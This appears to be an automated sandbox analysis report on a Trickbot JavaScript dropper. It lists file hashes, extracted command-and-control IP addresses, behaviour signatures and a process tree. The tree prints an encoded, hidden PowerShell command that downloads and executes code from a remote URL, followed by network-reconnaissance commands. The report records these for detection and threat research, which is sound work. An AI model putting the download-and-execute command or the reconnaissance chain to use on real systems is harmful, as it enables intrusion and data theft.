Analysis
-
max time kernel
1123s -
max time network
1190s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
26-07-2021 21:18
Static task
static1
Behavioral task
behavioral1
Sample
details_5613.js
Resource
win7v20210410
General
-
Target
details_5613.js
-
Size
629KB
-
MD5
13ecfbc54efb87498df12bbb02d054ef
-
SHA1
c857c59ef9fae1eaf4c3d1f8389586b2bc8ea8c6
-
SHA256
c91bd39590ae41161fc8d4ae9a453f689512ab90a0cc405d00dc9a50db05ea33
-
SHA512
5993d9c9343c041162f779196fc7a5fea688c1d922d940ca7adf62e4deb683a6104b4299d89f4c5ab05fc1384e7aeeb4e229ce8aed503baa73982c1b8176992d
Malware Config
Extracted
http://netvalleykenya.com/crm.php
Extracted
trickbot
100018
rob112
38.110.103.124:443
185.56.76.28:443
204.138.26.60:443
60.51.47.65:443
74.85.157.139:443
68.69.26.182:443
38.110.103.136:443
38.110.103.18:443
138.34.28.219:443
185.56.76.94:443
217.115.240.248:443
24.162.214.166:443
80.15.2.105:443
154.58.23.192:443
38.110.100.104:443
45.36.99.184:443
185.56.76.108:443
185.56.76.72:443
138.34.28.35:443
97.83.40.67:443
38.110.103.113:443
38.110.100.142:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
38.110.100.33:443
38.110.100.242:443
185.13.79.3:443
-
autorunName:pwgrabbName:pwgrabc
Signatures
-
suricata: ET MALWARE Trickbot Checkin Response
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.execmd.execmd.exeflow pid process 9 3556 powershell.exe 14 3556 powershell.exe 64 3828 cmd.exe 65 3828 cmd.exe 66 3828 cmd.exe 68 4024 cmd.exe -
Downloads MZ/PE file
-
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3952 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exepid process 3888 ipconfig.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.execmd.execmd.execmd.exepid process 3556 powershell.exe 3556 powershell.exe 3556 powershell.exe 3828 cmd.exe 3828 cmd.exe 2512 cmd.exe 2512 cmd.exe 4024 cmd.exe 4024 cmd.exe 2512 cmd.exe 2512 cmd.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exewermgr.execmd.execmd.exedescription pid process Token: SeDebugPrivilege 3556 powershell.exe Token: SeDebugPrivilege 1216 wermgr.exe Token: SeDebugPrivilege 3828 cmd.exe Token: SeDebugPrivilege 2512 cmd.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
wscript.execmd.exepowershell.exerundll32.exerundll32.exewermgr.exedescription pid process target process PID 1096 wrote to memory of 2476 1096 wscript.exe cmd.exe PID 1096 wrote to memory of 2476 1096 wscript.exe cmd.exe PID 2476 wrote to memory of 3556 2476 cmd.exe powershell.exe PID 2476 wrote to memory of 3556 2476 cmd.exe powershell.exe PID 3556 wrote to memory of 3276 3556 powershell.exe rundll32.exe PID 3556 wrote to memory of 3276 3556 powershell.exe rundll32.exe PID 3276 wrote to memory of 3952 3276 rundll32.exe rundll32.exe PID 3276 wrote to memory of 3952 3276 rundll32.exe rundll32.exe PID 3276 wrote to memory of 3952 3276 rundll32.exe rundll32.exe PID 3952 wrote to memory of 3448 3952 rundll32.exe cmd.exe PID 3952 wrote to memory of 3448 3952 rundll32.exe cmd.exe PID 3952 wrote to memory of 3448 3952 rundll32.exe cmd.exe PID 3952 wrote to memory of 1216 3952 rundll32.exe wermgr.exe PID 3952 wrote to memory of 1216 3952 rundll32.exe wermgr.exe PID 3952 wrote to memory of 1216 3952 rundll32.exe wermgr.exe PID 3952 wrote to memory of 1216 3952 rundll32.exe wermgr.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe PID 1216 wrote to memory of 3828 1216 wermgr.exe cmd.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\details_5613.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBlAHQAdgBhAGwAbABlAHkAawBlAG4AeQBhAC4AYwBvAG0ALwBjAHIAbQAuAHAAaABwACIAKQA=2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbgBlAHQAdgBhAGwAbABlAHkAawBlAG4AeQBhAC4AYwBvAG0ALwBjAHIAbQAuAHAAaABwACIAKQA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\ELjPKDZnfBipIXd.bin,StartW4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\ELjPKDZnfBipIXd.bin,StartW5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe6⤵
-
C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe6⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exe/c ipconfig /all8⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all9⤵
- Gathers network information
-
C:\Windows\system32\cmd.exe/c net config workstation8⤵
-
C:\Windows\system32\net.exenet config workstation9⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 config workstation10⤵
-
C:\Windows\system32\cmd.exe/c net view /all8⤵
-
C:\Windows\system32\net.exenet view /all9⤵
- Discovers systems in the same network
-
C:\Windows\system32\cmd.exe/c net view /all /domain8⤵
-
C:\Windows\system32\net.exenet view /all /domain9⤵
- Discovers systems in the same network
-
C:\Windows\system32\cmd.exe/c nltest /domain_trusts8⤵
-
C:\Windows\system32\nltest.exenltest /domain_trusts9⤵
-
C:\Windows\system32\cmd.exe/c nltest /domain_trusts /all_trusts8⤵
-
C:\Windows\system32\nltest.exenltest /domain_trusts /all_trusts9⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\ELjPKDZnfBipIXd.binMD5
8dd7c961c9cdbd69e9a5d86d7809fc50
SHA1f9765d2e54784151519b6d755118edd01e55c51d
SHA2566e057855e21f4c93a4e3825b9711ca07ccec94fed55dbc20e1d3316b2b3dc549
SHA5129cf38f34bf574839f7404918f4fc8503bfd0a52d22e505972ebabc098e4854b661e42bb0f391bb293735494739f74d565b9256a35079c8dfb11fba3dfdcd6cfa
-
\Users\Admin\AppData\Local\Temp\ELjPKDZnfBipIXd.binMD5
8dd7c961c9cdbd69e9a5d86d7809fc50
SHA1f9765d2e54784151519b6d755118edd01e55c51d
SHA2566e057855e21f4c93a4e3825b9711ca07ccec94fed55dbc20e1d3316b2b3dc549
SHA5129cf38f34bf574839f7404918f4fc8503bfd0a52d22e505972ebabc098e4854b661e42bb0f391bb293735494739f74d565b9256a35079c8dfb11fba3dfdcd6cfa
-
memory/196-173-0x0000000000000000-mapping.dmp
-
memory/580-181-0x0000000000000000-mapping.dmp
-
memory/1196-177-0x0000000000000000-mapping.dmp
-
memory/1216-154-0x0000024B41200000-0x0000024B41201000-memory.dmpFilesize
4KB
-
memory/1216-152-0x0000000000000000-mapping.dmp
-
memory/1216-153-0x0000024B410E0000-0x0000024B41108000-memory.dmpFilesize
160KB
-
memory/1708-178-0x0000000000000000-mapping.dmp
-
memory/1808-172-0x0000000000000000-mapping.dmp
-
memory/1840-174-0x0000000000000000-mapping.dmp
-
memory/2060-179-0x0000000000000000-mapping.dmp
-
memory/2260-170-0x0000000000000000-mapping.dmp
-
memory/2476-114-0x0000000000000000-mapping.dmp
-
memory/2512-162-0x0000000000000000-mapping.dmp
-
memory/2616-182-0x0000000000000000-mapping.dmp
-
memory/2920-180-0x0000000000000000-mapping.dmp
-
memory/3276-136-0x0000000000000000-mapping.dmp
-
memory/3556-135-0x000001DB89616000-0x000001DB89618000-memory.dmpFilesize
8KB
-
memory/3556-130-0x000001DBA3C00000-0x000001DBA3C01000-memory.dmpFilesize
4KB
-
memory/3556-123-0x000001DB895D0000-0x000001DB895D1000-memory.dmpFilesize
4KB
-
memory/3556-119-0x000001DB89610000-0x000001DB89612000-memory.dmpFilesize
8KB
-
memory/3556-121-0x000001DB89613000-0x000001DB89615000-memory.dmpFilesize
8KB
-
memory/3556-115-0x0000000000000000-mapping.dmp
-
memory/3616-176-0x0000000000000000-mapping.dmp
-
memory/3760-175-0x0000000000000000-mapping.dmp
-
memory/3828-157-0x0000000000000000-mapping.dmp
-
memory/3828-161-0x000002886A140000-0x000002886A141000-memory.dmpFilesize
4KB
-
memory/3888-171-0x0000000000000000-mapping.dmp
-
memory/3952-151-0x0000000004791000-0x0000000004793000-memory.dmpFilesize
8KB
-
memory/3952-150-0x0000000004850000-0x0000000004851000-memory.dmpFilesize
4KB
-
memory/3952-148-0x0000000000F20000-0x0000000000F58000-memory.dmpFilesize
224KB
-
memory/3952-149-0x00000000047F0000-0x0000000004834000-memory.dmpFilesize
272KB
-
memory/3952-146-0x00000000047B0000-0x00000000047E7000-memory.dmpFilesize
220KB
-
memory/3952-144-0x0000000004750000-0x0000000004789000-memory.dmpFilesize
228KB
-
memory/3952-141-0x0000000004710000-0x000000000474B000-memory.dmpFilesize
236KB
-
memory/3952-139-0x0000000000000000-mapping.dmp
-
memory/4024-167-0x0000000180000000-0x0000000180009000-memory.dmpFilesize
36KB
-
memory/4024-166-0x0000000000000000-mapping.dmp